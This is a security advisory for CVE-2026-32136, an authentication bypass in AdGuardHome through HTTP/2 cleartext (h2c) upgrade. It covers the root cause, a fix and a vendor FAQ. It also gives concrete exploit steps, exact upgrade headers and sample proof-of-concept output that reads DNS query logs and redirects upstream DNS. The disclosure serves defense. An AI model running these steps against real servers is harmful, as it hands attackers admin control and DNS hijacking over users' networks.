CVE-2026-32136

Severity:  CRITICAL
CVSS 3.1:  9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE:       CWE-287 (Improper Authentication)
Component: internal/home/web.go
Affected:  AdGuardHome (tested on v0.107.72)

Summary

An unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.

Root Cause

In internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows:
    hdlr := h2c.NewHandler(
        withMiddlewares(web.conf.mux, limitRequestBody),  // no auth
        &http2.Server{},
    )
    web.httpServer = &http.Server{
        Handler: web.auth.middleware().Wrap(hdlr),        // auth here
    }

The authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.

Proof of Concept

The PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.

Steps:
  1. Open TCP connection to AdGuardHome (default port 3000).
  2. Send HTTP/1.1 GET /control/login with headers:
       Upgrade: h2c
       Connection: Upgrade, HTTP2-Settings
       HTTP2-Settings: AAMAAABkAAQAAP__
  3. Server responds: 101 Switching Protocols.
  4. Complete HTTP/2 handshake (client preface + SETTINGS exchange).
  5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3.
  6. Server responds: HTTP 200 with full JSON status payload.

Sample output (no username or password supplied):
    python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8
    ====================================================================
    AdGuardHome -- h2c Authentication Bypass PoC
    CWE-287: Full API access without credentials
    ====================================================================
    Target  : http://192.168.1.15:80
    Upgrade : /control/login  (whitelisted public path)

    [*] Connecting and performing h2c upgrade ...
    [+] Bypass established -- authentication is not enforced

    [*] GET /control/status
    [+] Version      : v0.107.72
    [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0']
    [+] HTTP port    : 80
    [+] Protection   : ON

    [*] GET /control/querylog  (DNS query history)
    [+] 10 recent entries:
        2026-03-09T20:42:15  docker.home.andreko.net                   192.168.1.232
        2026-03-09T20:42:00  docker.home.andreko.net                   192.168.1.232
        2026-03-09T20:41:45  docker.home.andreko.net                   192.168.1.232
        2026-03-09T20:41:30  docker.home.andreko.net                   192.168.1.232
        2026-03-09T20:41:12  docker.home.andreko.net                   192.168.1.232

    [*] GET /control/dhcp/status  (network device inventory)
    [+] Dynamic leases : 0
    [+] Static leases  : 0

    [*] POST /control/dns_config  (DNS -> 8.8.8.8)
    [+] Upstream DNS changed to 8.8.8.8
    [+] All DNS queries now route through attacker-controlled server

The bypass gives full administrative API access, including:
  - Reading and modifying DNS configuration
  - Adding malicious filter lists
  - Disabling protection
  - Changing the admin password
  - Hijacking DNS resolution for all clients on the network

Remediation

Move the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol:
    authedMux := web.auth.middleware().Wrap(
        withMiddlewares(web.conf.mux, limitRequestBody),
    )
    hdlr := h2c.NewHandler(authedMux, &http2.Server{})
    web.httpServer = &http.Server{
        Handler: hdlr,
    }

Alternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-32136 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.107.73); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32136? CVE-2026-32136 is a critical-severity improper authentication vulnerability in github.com/AdguardTeam/AdGuardHome (go), affecting versions < 0.107.73. It is fixed in 0.107.73. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-32136? CVE-2026-32136 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/AdguardTeam/AdGuardHome are affected by CVE-2026-32136? github.com/AdguardTeam/AdGuardHome (go) versions < 0.107.73 is affected.
4. Is there a fix for CVE-2026-32136? Yes. CVE-2026-32136 is fixed in 0.107.73. Upgrade to this version or later.
5. Is CVE-2026-32136 exploitable, and should I be worried? Whether CVE-2026-32136 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32136 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32136? Upgrade github.com/AdguardTeam/AdGuardHome to 0.107.73 or later.